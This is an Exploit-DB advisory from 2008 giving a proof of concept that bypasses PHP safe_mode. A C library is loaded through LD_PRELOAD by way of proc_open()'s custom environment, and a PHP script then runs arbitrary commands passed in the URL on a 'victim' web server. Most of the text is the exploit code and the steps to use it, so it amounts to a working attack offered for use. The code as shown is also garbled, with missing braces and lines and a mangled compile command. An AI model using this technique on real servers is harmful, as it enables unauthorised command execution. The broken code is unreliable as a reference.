PHP safe_mode bypass via proc_open and custom environment

ID EDB-ID:7393
Type exploitdb
Reporter gat3way
Modified 2008-12-09T00:00:00


PHP safe_mode bypass via proc_open() and custom environment. Local exploit for linux platform

+ safe-bypass-procopen.txt - yet another way to bypass PHP safe_mode. +
+ By Milen Rangelov <>                              +

This *should* work provided that you have met the following requirements:

1) A writable directory under documentroot to place those files (obviously)
2) You don't have proc_open in your disabled_functions list
3) You are able to compile a shared library on the same platform as the target web server.

The reason I'm publishing that is because I posted a similar bug (putenv()+mail()) which was titled as "Bogus" one by the PHP developers.

Now, this one uses quite the same concept, only different means.

How does this work?

You will need to upload 2 files - one precompiled shared library and a php script. Place them in the writable dir and just open http://victim/path/evil.php?c=arbitrarycommand

You'll need to change the $path variable to match the writable directory

Here is the library code, compile with cc -o -fPIC -shared a.c


#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int getuid()
char *en;
char *buf=malloc(300);
FILE *a;

system("mv output.txt .comm1");
return 0;


And that is the PHP script:


$path="/var/www"; //change to your writable path


$descriptorspec = array(
 0 => array("pipe", "r"),
 1 => array("file", $path."/output.txt","w"),
 2 => array("file", $path."/errors.txt", "a" )

$cwd = '.';
$env = array('LD_PRELOAD' => $path."/");
$process = proc_open('id > /tmp/a', $descriptorspec, $pipes, $cwd, $env); // example command - should not succeed


echo "<pre><b>";
while (!feof($a))
{$b=fgets($a);echo $b;}
echo "</pre>";



Yeah, I know, it's written pretty lame, it's just a PoC.

Why does that work?

Because the PHP devs like to trust the environment. Especially the dynamic loader variables. In the original bug I posted into their bugtracking system, I suggested that they clean them in mail() for example, but....yuck the bug was classified as *bogus*.

This demonstrates exactly the same problem. If you have safe_mode enabled, you cannot execute anything except the binaries in the safe mode exec dir. They prepend a trailing slash to your command string and strip "..". Yet, proc_open() enables you to provide your own environment to pass to the new process. proc_open() executes "/bin/sh -c yourcommand" and even though yourcommand is invalid, the LD_PRELOAD is passed to /bin/sh.

/bin/sh loads your h4h0r library and then BOOM!

I hope you'd find that useful.

BTW....!!! Dolu naglite programisti :DDD !!!

# [2008-12-09]